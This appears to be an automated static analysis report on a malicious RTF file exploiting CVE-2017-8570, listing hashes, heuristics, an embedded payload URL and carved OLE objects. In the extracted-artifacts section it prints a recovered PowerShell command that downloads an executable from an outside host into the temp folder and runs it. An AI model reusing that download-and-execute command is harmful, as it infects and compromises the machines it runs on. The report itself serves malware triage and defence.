Malicious RTF — malware analysis report

Static analysis result for SHA-256 f2911a70f72adc6a…

MALICIOUS

RTF

657.0 KB First seen: 2019-08-04
MD5: f13a51280f4de94b21a6dfa8318e417d SHA-1: 12b97755a6c85440845f430eb066952cc7b95fee SHA-256: f2911a70f72adc6af977e673ff63511effd408fe7d779693ae3b191e17193813
342 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF document contains OLE object data and triggers objupdate, indicating an attempt to activate embedded objects. Critical heuristics identify the exploitation of CVE-2017-8570, which is known to drop SCT scripts, and the presence of a PE header within hex data. The embedded URL http://www.ahoam.pw/beta/catnna.png is suspicious and likely serves as a download source for a secondary payload.

Heuristics 8

  • Composite Moniker — CVE-2017-8570 (drops SCT script) critical CVE related CVE_2017_8570
    RTF \objdata decodes to OLE data containing the Composite Moniker — CVE-2017-8570 (drops SCT script) CLSID — the vulnerable control/moniker is embedded directly in the document's object stream, the delivery shape of this exploit. RTF objects auto-render when Word opens the file.
  • Composite Moniker in RTF OLE object high CVE related RTF_COMPOSITE_MONIKER_RELATED
    RTF contains Composite Moniker CLSID in OLE object context, but no nearby scriptlet/SCT payload was confirmed. Treat as related moniker attack-surface evidence rather than proof of CVE-2017-8570 exploitation.
  • ClamAV: Rtf.Dropper.Agent-9965975-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-9965975-1
  • PE header (with DOS stub) in hex data critical RTF_MZ_HEX
    Hex-encoded PE (MZ + DOS stub) found inside RTF — likely an embedded executable payload
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 6 \objdata section(s) — embedded OLE objects
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ahoam.pw/beta/catnna.png In RTF body
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000179a4.bin rtf-objdata-decoded RTF \objdata at offset 0x179A4 892 bytes
SHA-256: b84f7a78fa58893d277bdf67c27b408cd8319d6cdd891b7362bd537a3c4c6e5a
objdata_01_off000180cf.bin rtf-objdata-decoded RTF \objdata at offset 0x180CF 24780 bytes
SHA-256: 912734480715a95828bf9f5271fbfbd46bab0a0ad7d07957ecb95d6bae490b17
objdata_02_off00024299.bin rtf-objdata-decoded RTF \objdata at offset 0x24299 452 bytes
SHA-256: 302460cba7b0c5238ffc582133f08056810a90b19d71b85147c7a476370b1582
objdata_03_off00024655.bin rtf-objdata-decoded RTF \objdata at offset 0x24655 352 bytes
SHA-256: 750b2f8e41c000861072ac7d5117873e44992508e8c4db85e59ae7dd89441875
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.ahoam.pw/beta/catnna.png Static shellcode analysis recovered command string(s): cmd, PoWERSheLL.ExE (new-oBJEct NEt.WeBCLIENT).DoWnloADfILe('http://www.ahoam.pw/beta/catnna.png','%teMP%\catnna.exe'); "&" '%Temp%\catnna.exe'
objdata_04_off0002497c.bin rtf-objdata-decoded RTF \objdata at offset 0x2497C 2633 bytes
SHA-256: fe11c27d916ab897eb94064e9631d8a29c847a6db39259bef31578da8d19fdf5
objdata_05_off00025e56.bin rtf-objdata-decoded RTF \objdata at offset 0x25E56 258764 bytes
SHA-256: d6dcceedf5e2a6e920678ec0594e6b6d62eb04cf03609afe38eda8fa1591e43a